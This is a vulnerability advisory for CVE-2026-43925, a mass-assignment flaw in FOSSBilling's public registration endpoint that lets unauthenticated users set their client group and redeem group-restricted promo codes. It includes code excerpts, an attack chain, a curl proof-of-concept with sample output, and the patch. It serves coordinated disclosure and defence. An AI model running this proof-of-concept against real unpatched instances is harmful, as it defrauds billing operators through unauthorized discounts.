CVE-2026-43925  ·  MODERATE

Mass Assignment of group_id in Guest Registration Allows Unauthorized Promo Code Use

ProductFOSSBilling
Affected<= 0.7.2
Fixed In0.8.0
Reported2026-04-27
Published2026-06-04
GHSAGHSA-q4rq-9844-r9w2
CVSS v4.0 Metrics  ·  Severity: MODERATE
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Vuln. ConfidentialityNone
Vuln. IntegrityLow
Vuln. AvailabilityNone
Subseq. ConfidentialityNone
Subseq. IntegrityLow
Subseq. AvailabilityNone
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CWE-915Mass AssignmentNo Auth RequiredPromo BypassPHPFOSSBilling

Overview

TL;DR
Any unauthenticated visitor can include a hidden group_id field in the public registration request to assign themselves to any client group — including staff, reseller, or VIP groups. If promo codes are restricted to those groups, the attacker immediately qualifies for discounts never intended for them. Zero authentication, zero configuration required beyond having groups and group-restricted promos enabled.

Mass assignment vulnerabilities occur when an application accepts more input fields than it intends to, allowing attackers to set internal model attributes that should only be settable by trusted code. This specific instance is a textbook example: the group_id field is an internal field meant to be set only by administrators, yet it flows unchecked through the public registration endpoint.

While the direct impact is financial rather than a full server compromise, this class of vulnerability is significant in billing platforms because promo codes can represent real monetary value. A "100% off" promo code or a reseller discount intended for partners can be freely exploited by any visitor who knows to send one extra field.

Background: Client Groups in FOSSBilling

FOSSBilling allows administrators to define client groups — logical segments used to organize clients and apply different policies to each group. Common use cases include:

Promo codes in FOSSBilling can be restricted to specific client groups via the client_groups field. When a client applies a promo code at checkout, the cart service checks whether their client_group_id matches one of the allowed groups. This is the access control mechanism that this vulnerability bypasses.

Root Cause Analysis

The Registration Handler

The public guest registration handler guestCreateClient() in src/modules/Client/Service.php is responsible for processing new client sign-ups. It should only accept fields appropriate for a new, unverified client. However, it only overrides two fields before forwarding the entire raw request data to the private createClient() method:

src/modules/Client/Service.php — guestCreateClient()
public function guestCreateClient(array $data): \Model_Client
{
    $data['status'] = \Model_Client::ACTIVE;
    $data['ip']     = $this->di['request']->getClientIp();

    // Everything else in $data passes through to createClient()
    // No allowlist. No field filtering. group_id is never stripped.
    return $this->createClient($data);
}

The Private createClient() Method

Inside createClient(), the group_id key is read directly from the data array without any authorization check. The intent was that this field would only ever be populated by internal admin operations, but since guestCreateClient() passes through the raw request, an attacker-supplied group_id reaches this assignment:

src/modules/Client/Service.php — createClient()
// Attacker-supplied group_id flows directly to this assignment
$client->client_group_id = !empty($data['group_id']) ? $data['group_id'] : null;

// The field is not documented in the guest API spec (Client/Api/Guest.php)
// but there is no allowlist to prevent it from being processed.

The Promo Eligibility Check

Once the client is registered with an attacker-controlled client_group_id, the promo validation logic in Cart/Service.php will pass for any group-restricted promo that includes the group the attacker assigned themselves to:

src/modules/Cart/Service.php — isPromoAvailableForClientGroup()
if (!empty($promo->client_groups)) {
    // This check passes because $client->client_group_id was
    // set by the attacker at registration time
    return in_array($client->client_group_id, $promo->client_groups);
}
return true; // promos with no group restriction are always available
Why This Is a Design Flaw, Not Just a Validation Oversight
The underlying issue is that createClient() was designed with the assumption it would only be called from admin-authenticated paths. When guestCreateClient() was written to expose registration to unauthenticated users, no one stripped the fields that should only be settable by admins. This is a trust boundary violation — the same method is used for both admin-level and public registration, with no differentiation in what data is permitted.

Attack Chain

1
Identify target client groups
Group IDs are sequential integers (1, 2, 3…). Probe by registering with different group_id values and checking which promos become available at checkout.
2
Register with group_id in POST body
POST /api/guest/client/create with normal registration fields plus "group_id": 2. No special headers, no authentication, no precondition.
3
Account created with admin-intended group membership
The new client's client_group_id is now 2 in the database. No admin approval step occurs. The attacker is immediately logged in.
4
Browse and apply group-restricted promo codes
The attacker now sees and can apply any promo codes tied to group 2 — reseller rates, staff discounts, or free service promos.
5
Checkout with unauthorized discount applied
The promo eligibility check passes. The attacker receives the discounted or free order. Financial loss for the operator.

Proof of Concept

The following curl command registers a new client in group 2 without any authentication:

poc_cve-2026-43925.sh
#!/bin/bash
# CVE-2026-43925 — FOSSBilling Mass Assignment PoC
# Registers a client in group_id=2 (e.g. reseller/staff group) with no auth

TARGET="http://target.local"

curl -s -X POST "$TARGET/api/guest/client/create" \
  -H "Content-Type: application/json" \
  -d '{
    "email":      "attacker@evil.com",
    "password":   "Password123!",
    "first_name": "Attacker",
    "last_name":  "Test",
    "group_id":   2
  }' | python3 -m json.tool

Expected response (vulnerable instance):

{
  "result": {
    "id": 42,
    "email": "attacker@evil.com",
    "client_group_id": 2,   // attacker is now in the reseller group
    "status": "active",
    ...
  },
  "error": null
}

The attacker is now authenticated as a client in group 2 and can immediately apply any promo code configured for that group at checkout.

Impact Assessment

Financial Impact

The impact scales with the discount value of group-restricted promo codes on the instance. In the worst case — a promo code granting 100% discount tied to a staff or internal group — any visitor can register for free services indefinitely. For reseller groups offering 40-60% discounts, an attacker can purchase services at wholesale prices from a retail instance.

Ease of Exploitation

This vulnerability requires no authentication, no special tools, and no prior knowledge beyond knowing a valid group ID. Group IDs are sequential integers starting at 1 — brute-forcing takes seconds. Any attacker who reads the FOSSBilling API documentation and notices that group_id is accepted by createClient() can exploit this with a single curl command.

Scope of Affected Deployments

Instances that do not use client groups, or that do not restrict promo codes to specific groups, are not impacted by the financial aspect. However, the mass assignment issue itself is present in all affected versions and could have additional implications if other internal fields accepted by createClient() have security relevance beyond promo codes.

The Fix

The patch in FOSSBilling 0.8.0 adds an explicit unset($data['group_id']) call in guestCreateClient() before the data is forwarded to createClient(). This ensures the field is stripped at the trust boundary:

src/modules/Client/Service.php — patch
public function guestCreateClient(array $data): \Model_Client
{
    $data['status'] = \Model_Client::ACTIVE;
    $data['ip']     = $this->di['request']->getClientIp();

    // Patched: strip admin-only fields before forwarding to createClient()
    unset($data['group_id']);

    return $this->createClient($data);
}
✓ Patch Analysis
The unset() approach is correct and addresses the root cause at the trust boundary. A more robust long-term approach would be an allowlist of permitted guest registration fields in guestCreateClient(), which would prevent similar issues in future fields. The targeted fix is sufficient and complete for this vulnerability.

Key Takeaways

Disclosure Timeline

2026-04-27
Reported — Advisory GHSA-q4rq-9844-r9w2 submitted via GitHub Security
Full write-up with PoC curl command and impact analysis.
2026-04-28
Accepted — FOSSBilling team confirmed and revised advisory title. CVE requested same day.
2026-05-04
CVE-2026-43925 assigned — GitHub CNA issued CVE ID after advisory review.
2026-05-28
Fix released — FOSSBilling 0.8.0 published with the patch.
2026-06-04
Advisory published — Public disclosure coordinated with 0.8.0 release.

References

← Back to CVEs Read the narrative writeup →